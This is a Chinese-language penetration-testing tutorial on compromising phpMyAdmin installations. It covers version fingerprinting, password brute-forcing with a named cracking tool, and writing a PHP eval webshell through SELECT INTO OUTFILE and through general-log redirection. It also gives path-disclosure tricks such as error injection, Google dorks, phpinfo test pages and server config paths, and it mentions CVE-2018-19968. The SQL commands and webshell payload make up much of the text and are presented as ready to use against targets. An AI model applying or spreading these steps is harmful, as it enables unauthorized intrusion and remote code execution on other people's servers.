前言
phpMyAdmin 是一个用PHP编写的开源软件工具,可以通过web方式控制和操作MySQL数据库。通过phpMyAdmin 可以完全对数据库进行操作,例如建立、复制和删除数据等。
phpmyadmin目前更新到5.2.1
github地址:GitHub - phpmyadmin/phpmyadmin: A web interface for MySQL and MariaDB
phpMyAdmin版本判断
- 通过登录界面
但很多时候都会显示404
- 尝试访问路径
/phpMyadmin/README
/phpMyadmin/changelog.php
/phpMyadmin/Change
/phpMyadmin/Documetation.html
/phpMyadmin/Documetation.txt
/phpMyadmin/translators.html
/phpMyadmin/readme.php
若管理员没有删除则可以查看到相应的版本信息。
口令枚举
phpMyAdmin的漏洞多为经过验证后可以才能利用,所以需要进入后台,可以采用bao破的方式进入后台,工具:phpMyAdmin多线程破解工具 | LuckySec
支持phpMyAdmin 2.11.10到4.4.11版本bao破。只有phpMyAdmin多线程批量po解工具 v1.5这个工具有用
- 写入要bao破的地址
- 导入地址进行bao破
bao破完后想继续bao破得先右键将结果清空再继续
后台Getshell
phpmyadmin getshell一般需要进入到后台,常见getshell方式如下
- select into outfile直接写入
- 开启全局日志getshell
- 使用慢查询日志getsehll
- 使用错误日志getshell
- 利用phpmyadmin4.8.x本地文件包含漏洞getshell
into outfile写入webshell
使用into outfile 函数直接在网站目录下写入webshell,原理和sql注入写shell的原理一样。
利用前提:
- 当前数据库用户有写权限
- 知道web目录的绝对路径
- 判断当前数据库用户是否有写权限
1.1 使用如下命令查看
show variables like '%secure%';
secure_file_priv是用来限制load dumpfile、into outfile、load_file()函数在哪个目录下拥有上传和读取文件的权限。在mysql 5.6.34版本以后 secure_file_priv的值默认为NULL。如下关于secure_file_priv的配置介绍
- secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
- 当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
- 当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制
这里为nulll,所以没有写权限
1.2 修改secure_file_priv 的值为空
我们可以在mysql/my.ini中查看是否有secure_file_priv 的参数,如果没有的话我们就添加 secure_file_priv = '' ,从其服务器即可
此时再查看secure_file_priv的值如下已经变为空了
- 获取网站绝对路径
- 通过网站报错的方式获取
- 通过phpinfo()页面获取,搜索“DOCUMENT_ROOT”
- 通过查看数据库路径来猜测Web路径
尝试通过查看数据库路径来猜测Web路径
show variables like '%datadir%';
#或者
show variables like '%basedir%'
知道了前几层目录为“E:\phpStudy\PHPTutorial\”,然后就可以尝试采用目标域名+常用的网站根目录的方式进行爆破猜测根目录绝对路径比如
select 'test' into outfile 'E:\\phpStudy\\PHPTutorial\\$fuzz$\\shell.php';
#写入
select '<?php @eval($_POST["cmd"]); ?>' into outfile 'E:\\phpStudy\\PHPTutorial\\www\\shell.php';
日志文件写shell
MySQL 5.0版本以上会创建日志文件,我们通过修改日志文件的全局变量,就可以Getshell
利用前提
- mysql > 5.0版本
- 知道根目录
- 查看数据库版本大于5.0,那么应该可以通过日志写入shell
- 查看日志读写功能是否开启
show variables like '%general%';
该功能默认是关闭的
- 打开日志读写功能
SET GLOBAL general_log='on'
然后再查看变为了“on”,成功开启
- 指定日志文件为shell2.php
需要指定根目录
set global general_log_file = 'E:\\phpStudy\\PHPTutorial\\www\\shell2.php'
- 写shell到shell2.php文件中
select '<?php @eval($_POST["cmd"]); ?>'
写入成功
CVE-2018-19968:任意文件包含/RCE
漏洞影响:Phpmyadmin 4.8.0~4.8.3
可以参考:CVE-2018-19968 phpmyadmin文件包含getshell连载(完结) - PANDA墨森 - 博客园
php爆绝对路径方法
插入一句话木马时是需要知道网站绝对路径的,除了可以尝试通过执行sql查询 " show variables like '%datadir%'; ”的方式获取物理路径后,还可以尝试如下的方法
- 错误参数值爆路径
直接在URL后面加单引号,要求单引号没有被过滤(gpc=off)且服务器默认返回错误信息。或者将参数值改为错误值
www.xxx.com/new.php?id=1′
www.xxx.com/new.php?id=-1
- google搜索
结合关键字和site语法搜索出错页面的网页快照,常见关键字有warning和fatal error。注意,如果目标站点是二级域名,site接的是其对应的顶级域名,这样得到的信息要多得多。
Site:xxx.edu.tw warning
Site:xxx.com.tw “fatal error”
- 测试文件爆路径
很多网站的根目录下都存在测试文件,脚本代码通常都是phpinfo()。
www.xxx.com/test.php
www.xxx.com/ceshi.php
www.xxx.com/info.php
www.xxx.com/phpinfo.php
www.xxx.com/php_info.php
www.xxx.com/1.php
- phpmyadmin爆路径
一旦找到phpmyadmin的管理页面,再访问该目录下的某些特定文件,就很有可能爆出物理路径。
/phpmyadmin/libraries/lect_lang.lib.php
/phpMyAdmin/index.php?lang[]=1
/phpMyAdmin/phpinfo.php
load_file()
/phpmyadmin/themes/darkblue_orange/layout.inc.php
/phpmyadmin/libraries/select_lang.lib.php
/phpmyadmin/libraries/lect_lang.lib.php
/phpmyadmin/libraries/mcrypt.lib.php
- 配置文件找路径
如果注入点有文件读取权限,就可以手工或工具读取配置文件,再从中寻找路径信息(一般在文件末尾)。各平台下Web服务器和PHP的配置文件默认路径可以上网查,这里列举常见的几个。
#Windows:
c:\windows\php.ini php配置文件
c:\windows\system32\inetsrv\MetaBase.xml IIS虚拟主机配置文件
#Linux:
/etc/php.ini php配置文件
/etc/httpd/conf.d/php.conf
/etc/httpd/conf/httpd.conf Apache配置文件
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/extra/httpd-vhosts.conf 虚拟目录配置文件